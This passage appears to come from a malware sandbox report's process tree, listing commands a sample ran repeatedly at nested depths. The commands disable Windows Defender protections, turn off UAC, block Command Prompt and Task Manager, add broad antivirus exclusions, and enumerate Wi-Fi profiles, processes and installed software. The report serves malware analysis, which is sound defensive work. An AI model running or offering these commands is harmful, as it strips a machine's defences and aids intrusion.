        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        38⤵
        
        PID:3656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        38⤵
        
        PID:244
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        38⤵
        
        PID:5292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        38⤵
        
        PID:2116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        38⤵
        
        PID:6232
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        39⤵
        
        PID:6028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:484
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        38⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        38⤵
        
        PID:3264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        38⤵
        
        PID:6584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        38⤵
        
        PID:5808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        38⤵
        
        PID:6440
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        39⤵
        Enumerates processes with tasklist
        
        PID:3668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        38⤵
        
        PID:2380
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        38⤵
        
        PID:7052
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        38⤵
        
        PID:2388
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        38⤵
        
        PID:6348
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        38⤵
        
        PID:5392
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        38⤵
        
        PID:5724
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        38⤵
        
        PID:7084
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        38⤵
        
        PID:6132
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        38⤵
        
        PID:924
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        39⤵
        
        PID:6300
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        38⤵
        
        PID:4284
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        38⤵
        
        PID:6212
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        39⤵
        
        PID:5964
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        38⤵
        
        PID:4428
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        38⤵
        
        PID:4952
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        38⤵
        
        PID:6884
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        38⤵
        
        PID:2648
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        38⤵
        
        PID:2004
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        38⤵
        
        PID:1040
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        38⤵
        
        PID:788
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        38⤵
        
        PID:5928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        34⤵
        
        PID:6580
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        35⤵
        Modifies registry key
        
        PID:5164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        34⤵
        
        PID:2100
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        35⤵
        Modifies registry key
        
        PID:6044
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        34⤵
        
        PID:6256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1116
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        34⤵
        Modifies registry key
        
        PID:3916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        34⤵
        
        PID:5772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        34⤵
        
        PID:2292
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        35⤵
        
        PID:784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:680
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        34⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        34⤵
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        34⤵
        
        PID:304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        34⤵
        
        PID:5832
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        35⤵
        Enumerates processes with tasklist
        
        PID:6972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5576
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        34⤵
        
        PID:2392
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        35⤵
        
        PID:1824
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        34⤵
        
        PID:6288
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        34⤵
        
        PID:488
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        34⤵
        
        PID:4316
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        34⤵
        
        PID:5016
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        34⤵
        
        PID:6372
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        34⤵
        
        PID:5924
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        34⤵
        
        PID:6124
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        34⤵
        
        PID:3164
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        34⤵
        
        PID:6844
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        34⤵
        
        PID:6796
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        34⤵
        
        PID:4476
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        34⤵
        
        PID:5240
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        34⤵
        
        PID:4988
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        34⤵
        
        PID:5208
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        34⤵
        
        PID:5420
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        34⤵
        
        PID:2348
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        34⤵
        
        PID:4428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        30⤵
        
        PID:3112
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        31⤵
        Modifies registry key
        
        PID:4332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        30⤵
        
        PID:4796
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        31⤵
        Modifies registry key
        
        PID:5788
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        30⤵
        
        PID:6784
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        30⤵
        Modifies registry key
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        30⤵
        
        PID:6368
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        31⤵
        
        PID:424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        30⤵
        
        PID:6264
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        30⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        30⤵
        
        PID:1104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        30⤵
        
        PID:484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        30⤵
        
        PID:4344
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        31⤵
        Enumerates processes with tasklist
        
        PID:5608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1308
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        30⤵
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5904
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        31⤵
        
        PID:984
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        30⤵
        
        PID:5796
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        30⤵
        
        PID:2848
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        30⤵
        
        PID:848
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        30⤵
        
        PID:7012
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        30⤵
        
        PID:5036
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        30⤵
        
        PID:5220
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        30⤵
        
        PID:4948
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        30⤵
        
        PID:7148
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        30⤵
        
        PID:6992
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        30⤵
        
        PID:5276
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        30⤵
        
        PID:4600
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        30⤵
        
        PID:4724
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        30⤵
        
        PID:3432
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        30⤵
        
        PID:6416
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        30⤵
        
        PID:3304
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        30⤵
        
        PID:6844
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        30⤵
        
        PID:2820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        26⤵
        
        PID:6728
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        27⤵
        Modifies registry key
        
        PID:1616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        26⤵
        
        PID:5724
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        27⤵
        Modifies registry key
        
        PID:6864
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        26⤵
        
        PID:5176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        26⤵
        
        PID:5184
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        26⤵
        Modifies registry key
        
        PID:5232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        26⤵
        
        PID:5680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        26⤵
        
        PID:1784
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        27⤵
        Modifies registry key
        
        PID:5116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        26⤵
        
        PID:6996
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        26⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        26⤵
        
        PID:1176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.py'"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        26⤵
        
        PID:1168
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        27⤵
        Enumerates processes with tasklist
        
        PID:764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.pyw'"
        26⤵
        
        PID:6008
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic product get name
        26⤵
        
        PID:4584
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        26⤵
        
        PID:4864
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        
        PID:5864
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f
        26⤵
        
        PID:6700
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        26⤵
        
        PID:1088
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /f
        26⤵
        
        PID:5688
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        26⤵
        
        PID:7052
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        26⤵
        
        PID:6924
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        26⤵
        
        PID:6116
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        
        PID:3148
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        26⤵
        
        PID:5036
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        26⤵
        
        PID:6796
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        26⤵
        
        PID:2740
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        26⤵
        
        PID:7148
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        26⤵
        
        PID:2372
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        26⤵
        
        PID:6584
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        26⤵
        
        PID:1340
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        26⤵
        
        PID:2996
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        26⤵
        
        PID:6900
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        
        PID:5940
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        26⤵
        
        PID:7120
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        22⤵
        
        PID:6380
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        23⤵
        
        PID:6756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        22⤵
        
        PID:5092
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        23⤵
        Modifies registry key
        
        PID:6256
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        22⤵
        
        PID:4748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        22⤵
        
        PID:3264
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        22⤵
        Modifies registry key
        
        PID:5868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1192
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        
        PID:2876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        22⤵
        
        PID:7044
        
        C:\Windows\system32\reg.exe
        
